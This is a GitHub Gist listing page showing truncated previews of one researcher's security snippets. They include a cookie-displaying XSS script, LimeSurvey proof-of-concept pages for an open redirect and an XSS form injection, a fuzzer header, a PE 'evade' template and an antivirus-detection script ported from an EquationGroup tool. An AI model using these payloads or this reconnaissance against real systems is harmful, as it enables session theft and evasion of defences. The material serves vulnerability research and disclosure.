Skip to content

Instantly share code, notes, and snippets.

@marpie
marpie / convKDdef.py
Created April 8, 2012 14:50
convKDdef takes a file of KD/WinDBG "Define Type" (dt) command output and tries to convert them to C structs.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" convKDdef
convKDdef takes a file of KD/WinDBG "Define Type" (dt) command output
and tries to convert them to C structs.
It uses a two pass approch to parse and resolv all dependencies. After
reading the file content and parsing it to Type() objects the
Types().parse() function gets calls to invoke the two pass algo:
@marpie
marpie / peEvade.py
Created June 1, 2012 07:37
PE file format parsing *incomplete*
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" peEvade
TEMPLATE Description
Author: marpie (marpie@a12d404.net)
Last Update: 20120531
Created: 20120530
@marpie
marpie / xss.js
Created June 25, 2012 10:19
xss.js
document.write ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
alert ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
@marpie
marpie / phpinfo.php
Created September 3, 2012 07:53
phpinfo
<?php
phpinfo();
?>
@marpie
marpie / arbitrary-redirect.html
Created September 4, 2012 17:06
[LimeSurvey] Arbitrary URL redirect
<html>
<head><title>poc: Arbitrary URL redirect (move=clearall)</title></head>
<body>
<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
<script>
function done() {
window.location = "https://limesurvey/index.php?sid=51928&move=clearall&lang=de&redirect=http://www.google.de";
}
</script>
</body>
@marpie
marpie / xss-reload.html
Created September 4, 2012 17:09
[LimeSurvey] XSS injection in the function to reload a saved survey
<html>
<head><title>poc: XSS Injection (reload saved survey)</title></head>
<body>
<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
<script>
function done() {
document.forms["xssme"].submit();
}
</script>
<form id="xssme" action="https://limesurvey/index.php" method="POST">
#!/usr/bin/env python
import sys
import time
from boofuzz import \
pedrpc, \
s_binary, \
s_block_end, \
s_block_start, \
s_delim, \

Keybase proof

I hereby claim:

  • I am marpie on github.
  • I am marpie (https://keybase.io/marpie) on keybase.
  • I have a public key ASDMPdUbr0Dy9WjOZfqFtSGOWakasogF2SwZxpv14XMv6wo

To claim this, I am signing this object:

import sqlite3
import contextlib
import os
import sys
def clean_binja_snapshots(conn, limit = 1):
with conn as cur:
for section in [ 'snapshot', 'file_data' ]:
cur.execute(f'DELETE FROM {section} WHERE id NOT IN (SELECT id FROM {section} ORDER BY id DESC LIMIT ?)', (limit,))
@marpie
marpie / smb4av.py
Created April 9, 2019 15:42
Determine the AV product by ncacn_np (Python port of EquationGroup - Namedpipetouch)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" smb4av.py
smb4av uses NamedPipe calls to determine
the running AntiVirus of the target.
Credits: @EquationGroup @ShadowBrokers
Author: marpie (marpie@a12d404.net)